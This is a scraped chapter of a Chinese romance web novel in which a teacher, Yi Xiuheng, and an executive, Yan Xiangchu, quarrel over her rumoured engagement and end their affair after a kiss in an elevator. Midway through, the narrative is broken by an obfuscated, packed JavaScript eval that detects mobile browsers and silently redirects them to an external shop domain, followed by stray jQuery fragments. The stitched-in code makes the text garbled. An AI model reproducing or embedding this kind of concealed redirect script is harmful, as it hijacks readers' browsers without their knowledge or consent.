文趣网 > 其他小说 > 三重失陷 > 31. Chapter 31
    昏沉的一天从瞌睡开始。学生坐在讲台下迷迷瞪瞪,易修珩在讲台上一顿三扬。

    即便洪亮的声音顺着教室前方一路传向后方,学生们还是没有清醒的迹象,反而是更困了。

    “1840年鸦片战争开始,中国逐渐沦为半殖民地半封建社会……”

    易修珩声音一顿:“大家都这么困吗,还是我讲得太无聊了?”

    学生鸦雀无声。

    无奈,他打开了多媒体。

    “这是一段相关历史的影像资料,大家先看看。”

    室内的喇叭传出声音,炮弹声混合着人群的呐喊,震动在教室中。

    易修珩走下讲台,视线虽然落在了大屏上,思绪却已然飞远。

    一上午,他没接到颜相初的任何一通电话,就连信息都没有一条。

    放在讲桌上的手机始终黑屏,往日的骚扰广告安安静静,他的心也安安静静。

    易修珩等着她的联络,却也不知道自己能说什么。毕竟,是他要离开,现在这个纠结不舍的样子,又在装什么?

    他唾弃自己。

    那条新闻他看了一遍一遍。也许是撰稿人的文学素养太好了,易修珩读完一遍,还要再看一遍。

    新闻的字里行间全是对这桩联姻的赞美之意,似乎这个世界上只有颜相初和蔺子濯才是天造地设的一对。

    越看火气越盛,越看越想再看。就好像是不断地将一块伤疤揭开,揭开再盖上,盖上再揭开。

    可笑。

    易修珩垂下眼睛,那段视频也播放到尾声,他重新站上讲台。

    “好,现在精神点了吗同学们?把书翻开……”

    整个上午,他游魂似的,机械地上课,再下课。

    伤疤还在,新鲜滴落的血液啪嗒啪嗒,心脏深处涌上的酸疼还在叫嚣着。

    不行!不行!她不能就这样跟别人结婚!

    可自己又能做什么。光是站在那些上流的面前,被他们的目光紧紧盯着,易修珩便会产生一阵蚀骨锥心的疼痛。

    这些目光无时无刻不在提醒他,他微不足道。

    他和颜相初,是截然不同的两个世界。

    在易修珩等着颜相初的同时,颜相初也在等着他的消息,在等着他在一个时间一如既往地踏进颜氏集团。

    可是,他没有来。

    就像是决意要和她断干净一样,易修珩一连几日都没有来。

    颜相初还是像往常一样,在一个特定的时间上班,在一个特定的时间下班。这样平静有序的生活却没有带来任何平静,她的心像是被煎烤,滋滋地响个不停。

    太阳偏西,光彩满霞。颜相初顶着一头的金色余晖坐进车,今天是几日以来最早下班的一天。

    封蒲在后视镜中看着颜相初,问道:“颜总,回御湖境吗?”

    “那天,你把玟清送回家了吗?”

    封蒲猝不及防地听见个人名,他怔愣一瞬,结巴着应道:“什……什么意思?”

    颜相初叹气:“晚宴第二天早上你来酒店接我,身上全是她的香水味道,我能闻见。”

    封蒲一时之间不知如何辩解,古铜色的脸上欲言又止。

    “她不是在追你吗?跟你呆一晚上也没什么。我和她虽然认识,但也不会阻拦她追我的司机。公事是公事,私事是私事。”

    说完,颜相初有些累了,她靠在座椅上,合上了眼睛。

    “是,那天我是……”

    我是把她带回自己住的地方了……

    封蒲没说出后半句,只感到一阵心虚。

    车流拥挤着不停歇,间或经过了哪条狭窄的小道,和繁忙的人群擦身而过。

    颜相初在嘈杂声响中睁开眼,蓦然想起了那天。

    那天,易修珩也是站在这样的道路上,一身礼服,身姿挺拔。他被笼罩在落日金光中,轮廓发虚。

    他的眼睛中,只有她。

    沉寂已久的情绪开始躁动,颜相初攥着衣领喘气,心脏狂跳。

    她咽下一口气,却再难咽下这样的情绪:“封蒲,先别回御湖境了……”

    她想见他,迫切地想见她。

    老式小区附近更是堵得寸步难行,宾利缓慢挪动,像是掉入了沉重的泥沼。

    放学的学生、下班的上班族和摆摊的小贩统一挤在这里。十分钟的路,硬生生开成半个小时。

    颜相初一言不发地等着,她注视着车窗外,并没有看见那个身影。

    等到宾利终于开进了小区,又被横七竖八的汽车堵住了去路。

    封蒲转着方向盘,与一个又一个背影擦过,再与一辆又一辆汽车擦过。

    “你找地方停车吧,我先下车。”

    颜相初迈下车,皮包扔在了车上。未等几秒,跑出的脚步一滞,她转身敲敲车窗。

    “具体,在哪一栋楼?”

    小区内铺着枯黄的落叶,落叶轻轻翻滚,撞在了她的鞋边。

    嘎吱的声响越发快了起来,颜相初的步子也迈得更大。

    等到终于到了那栋楼,从经过的人群中,她没有看见易修珩。仰头看去,那间屋子的灯也是灭的。

    还没回?

    颜相初烦躁地踢开一片叶子,鞋底发出粗糙的摩擦声。

    这么过来会不会有些突兀?

    难道要买些礼品来当做问候吗?

    算了,都来了,堵了这么久的车也不能半途而废。

    颜相初自顾自想着,脚边的落叶被她踢了个干净。

    易修珩下课回家,他背着几本教材拐过单元楼栋的尽头,照往常的样子伸手摸着钥匙。

    可那个身影实在太过明显,不想发现都没办法。

    她站在来往人群中间,依旧是一身西装,只不过今天穿着的颜色,是他没见过的深咖色。他也说不出是哪个牌子,只觉得很适合她。

    受罪的落叶被踢开,再被碾得粉身碎骨。

    路人向颜相初投去奇怪的目光,她看也不看,还在原地踢着。

    “这么讨厌这些叶子吗?”

    乍响的声音令颜相初一惊,脚下动作一滞,她转过身。

    天气转冷,男人便在卫衣外穿了一件外套。

    额前的头发被他放了下来,堪堪遮住了大半个眉毛,只露出一双眼睛。

    经过的人看看怔愣的颜相初,再看看另一边站着的易修珩,了然走开。

    又是一阵冷风,四散的落叶被刮起。那些遭受无情碾压的枯叶光裸着仅剩的茎脉,窸窸窣窣向着远处奔。

    “你不讨厌这些叶子的话,是讨厌我吗?”

    易修珩的声音越来越近,颜相初抬起脸,一时间不知作何回应。

    花了这么久的时间来到这里,她却连想说的都忘记了。

    易修珩眼中光芒黯淡,他平静道:“没什么事,我先回家了。”

    转身的瞬间,他的手臂被人拽住,身后是颜相初的声音。

    “我讨厌这样等你。”

    喉结滚动一下,易修珩按压下内心的波澜,声音却出卖了他。

    “那你……还来干什么?”

    “你为什么不来了?饭呢?也不送了吗?”

    话刚说出口,颜相初皱起眉,脸上浮现出懊悔的神色。明明她想说的不是这些。

    颜相初的话听起来像是理所应当。

    易修珩的心开了小孔,正簌簌窜着风。

    “我不会再去了。”

    他扒下颜相初的手,转身离开。

    颜相初手下一空。

    单元门开启再关闭,易修珩的背影消失在楼道口。

    他垂下头,手臂上的外套被颜相初攥出了褶皱。而单元门外,没有任何声音。她没有追来。

    易修珩唾弃自己言行不一,更唾弃这颗因为颜相初的到来而欢呼雀跃的心。

    算了。

    他按下电梯。

    颜相初站在门外,单元门的锁芯发出一声清脆响动。两人之间,就这么落下了锁。

    有一种强烈的不甘冲击着她,来源说不清,颜相初只是攥着手,向前迈出了一步。

    “咔哒——”

    单元门再次开启,门后出来一个陌生的老人。老人拿着大包小包,大包小包在门的缝隙中挤挤囔囔,却始终出不来。

    颜相初快步上前,撑开了门。

    “哎哎!姑娘谢谢啊!”

    她点点头,闪入门缝中。

    缓缓

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652739|202301||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    关闭的电梯门将走廊中的昏黄光亮隔绝,易修珩按好楼层,手臂无力地垂下。

    在电梯近乎关闭的刹那,易修珩在缝隙中看见了颜相初的脸。

    门开了。

    她从电梯外冲了进来,再次抓上他。

    易修珩被颜相初的力气向下带,他眼睁睁看着她吻在自己的唇上。着急又毫无章法。

    电梯一路上行,两具身体紧靠在角落。

    偶尔停在一层,等候在电梯外的人一惊,却也立刻明白了形势,只好眨着眼睛疯狂后退。

    这种柔软太过熟悉,易修珩挣扎起来。一只手抚过她的背,掐上她的腰际,平整的西装被压出了皱痕。

    “不要吗?”颜相初侧开脸,在他的唇边轻声问道。

    明明是在挣扎的,易修珩最后只是更加用力地抓紧了她,清醒着沉沦。

    “要。”易修珩哑着嗓子,用发狠的力气回吻。

    留在二人之间的喘息声和水声接连不绝,易修珩的手臂从颜相初的背后横过,将她的身体往怀中按。

    在缺氧之前,他从她的唇上抽离。

    “到……到了……”

    两人拥抱着,跌跌撞撞地绊出电梯,撞在了门上。

    “等下,我找钥匙……”

    易修珩拿着钥匙的手有些发抖。

    大门很快被甩上。

    易修珩的头发被抓乱,罪魁祸首带走了他唇上的一丝晶亮。

    颜相初在易修珩的胸口处趴着,微微喘气。

    方才的所作所为是后知后觉的莽撞,等她清醒过来,自己已经与他重新纠缠在一起。

    不像是她,但确实是她做的。

    “别生气了。”颜相初压下心思,哄道。

    易修珩本在环着颜相初的腰际,闻言,他的手一僵。

    “你……是觉得我在闹脾气?”

    “不……不是。”颜相初意识到自己说错了话,抬头补救道:“我是想说……”

    “我没有和你生气,我是真的要离开你。”易修珩一字一顿道:“我要离开你。”

    热火被猛然浇灭,颜相初从易修珩的身上抽离,她重新站直身子,一字一顿地问:“你要离开我,还和我接吻干什么?”

    易修珩面色平静:“因为我贱。”

    “你要结婚的新闻还在网上挂着,今天你却来找我,吻我。我接受了,我也吻了你,因为我贱。”

    “我没有要和蔺子濯结婚。”颜相初皱眉:“那只是新闻而已。”

    “不,颜相初,总有一天会变成真的。”

    “你坐在这个位置上,选择的只会是那个男人。”

    “我们本就是一|夜|情而已,事已至此,你要结婚了,这种关系还有持续下去的必要吗。”

    “我要早一点抽身,在你结婚之前。”

    易修珩将话说得很缓慢,似乎并不是说给颜相初听的,而是说给自己听。直到将自己的心剌出一道道血痕,他获得了一种爽快的自虐感。

    “你之前为什么要来找我,在我们第一次上|床之后。”

    “照你所说,我们只是一|夜|情的关系,那你之前为什么还要来找我,为什么要给我做那些饭。”

    颜相初的语气低沉下来,像是在压着怒气。

    她千里迢迢赶来这里,难道就是为了听这些抱怨一样的话吗。

    她的眉心处团出一个小块,她的唇上还残留着什么。

    “我说了,因为我贱。”易修珩收回了目光。

    “你又为什么那么确定!凭什么认为我会和蔺子濯结婚?”

    “我们不是一个世界的人,你和他才是一个世界的。”

    有些凄然的笑意挂在脸上,窗外洒入落日的余晖,他脸部的轮廓变得惨淡。

    “颜相初,靠近你让我觉得痛苦。现在,我不想再靠近了。”

    “以后,不能实现的话,没有必要说出口。”

    易修珩是认真的。

    颜相初仔细地盯着男人的眼睛,她喉间一哽,颧骨微微颤动两下。

    眼眶似乎是热了,她却没办法再感受出更确切的。片刻后,颜相初用力挤出一个扭曲的声调。

    “好,如你所愿。”